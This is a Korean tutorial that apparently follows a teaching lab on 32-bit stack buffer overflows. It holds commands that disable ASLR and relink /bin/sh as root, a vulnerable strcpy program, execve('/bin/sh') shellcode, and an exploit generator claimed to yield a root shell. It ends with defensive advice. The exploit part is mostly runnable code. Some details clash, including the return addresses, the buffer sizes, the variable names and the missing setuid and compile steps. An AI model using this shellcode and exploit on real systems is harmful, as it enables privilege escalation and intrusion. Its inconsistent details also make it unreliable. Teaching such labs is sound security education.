버퍼 오버플로우 개념 및 원리
버퍼 오버플로우는 프로그램이 할당된 크기보다 더 많은 데이터를 버퍼에 쓰려고 할 때 발생하는 보안 취약점입니다. 이 현상은 반환 주소를 덮어쓰게 되어 프로그램의 실행 흐름을 왜곡할 수 있으며, 악성 코드를 실행하는 데 사용될 수 있습니다. 특히 32비트 환경에서의 디버깅과 공격 시나리오 분석이 가능하도록 준비가 필요합니다.
실험 환경 설정
Linux 시스템에서는 기본적으로 주소 공간 무작위화(ASLR) 기능이 활성화되어 있어, 메모리 주소를 예측하기 어렵습니다. 이를 방지하기 위해 다음 명령어로 기능을 비활성화합니다:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
또한, setuid 프로그램이 쉘을 호출해도 권한 상승이 불가능하도록 보호되는 구조가 있으므로, 대신 zsh를 /bin/sh로 링크하여 실험 환경을 재구성합니다:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
32비트 환경으로 전환하려면 다음 명령어를 사용합니다:
linux32
취약 프로그램 작성 (stack.c)
다음은 버퍼 오버플로우를 유도할 수 있는 예제 코드입니다:
// stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int vulnerable_function(char *input) {
char buffer[12];
strcpy(buffer, input);
return 1;
}
int main(int argc, char **argv) {
char payload[517];
FILE *file = fopen("badfile", "r");
fread(payload, sizeof(char), 517, file);
vulnerable_function(payload);
printf("Execution completed.\n");
return 1;
}
쉘코드 생성 및 공격 파일 작성 (exploit.c)
공격자는 badfile에 포함된 데이터를 통해 반환 주소를 조작하고, 특정 위치에 쉘코드를 삽입합니다. 아래는 해당 쉘코드의 아셈 표현입니다:
char shellcode[] =
"\x31\xc0" // xor %eax, %eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f ('//sh')
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f ('/bin')
"\x89\xe3" // mov %esp, %ebx
"\x50" // push %eax
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\x99" // cdq
"\xb0\x0b" // mov $0x0b, %al
"\xcd\x80"; // int $0x80
공격 스크립트는 다음과 같이 구성됩니다:
// exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main() {
char buffer[517];
FILE *badfile;
memset(buffer, 0x90, 517); // NOP 스텝 채우기
// 반환 주소 위치에 쉘코드 시작 주소 삽입 (예: 0xffffcfb0)
memcpy(buffer + 100, shellcode, sizeof(shellcode) - 1);
// 실제 주소는 디버그 후 결정됨
*(unsigned int*)(buffer + 400) = 0xffd014ff; // 역순 주소 입력
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
return 0;
}
디버깅을 통한 주소 확인
GDB를 사용하여 프로그램 실행 중 str 변수의 시작 주소를 확인합니다:
gdb ./stack
(gdb) break main
(gdb) run
(gdb) info registers esp
결과로 얻은 주소(예: 0xffffcfb0)를 바탕으로, exploit.c 내부의 반환 주소를 적절히 수정합니다.
공격 수행 및 결과 검증
공격 프로그램을 먼저 실행하고, 취약 프로그램을 실행하면, 루트 권한을 가진 쉘 세션이 열립니다:
gcc -m32 -o exploit exploit.c
./exploit
./stack
실행 결과로 root# 쉘이 열리며, 시스템 전체 접근 권한을 획득함을 확인할 수 있습니다.
공격의 기반 원리
버퍼 오버플로우는 문자열 복사 함수(strcpy, strcat, gets, scanf 등)를 사용할 때 입력 길이 검사를 하지 않아 발생합니다. 예를 들어, 16바이트 버퍼에 20바이트 이상의 데이터를 복사하면 스택 영역이 오버플로우하며, 반환 주소가 변경됩니다.
이를 통해 공격자는 자신이 제어하는 코드를 실행하게 하고, 권한 상승을 달성할 수 있습니다. 특히 setuid 속성이 부여된 프로그램을 공격하면, 루트 계정으로 실행되는 쉘을 얻게 됩니다.
보안 방어 전략
- 안전한 코드 작성:
strcpy대신strncpy이나snprintf를 사용하여 길이 제한을 적용해야 합니다. - 실행 금지 스택: OS에서 스택 영역을 실행 불가로 설정하면, 쉘코드 실행을 차단할 수 있지만, 다른 공격 기법(예:ROP)으로 우회 가능.
- 컴파일러 보호 기능:
-fstack-protector또는-D_FORTIFY_SOURCE=2와 같은 옵션으로 스택 체크를 활성화. - 포인터 무결성 검사: 실행 전 포인터 값 검증을 통해 일부 오버플로우를 탐지.
실제 보안 실현에는 다층적 접근이 필요하며, 단일 기법만으로는 충분하지 않습니다.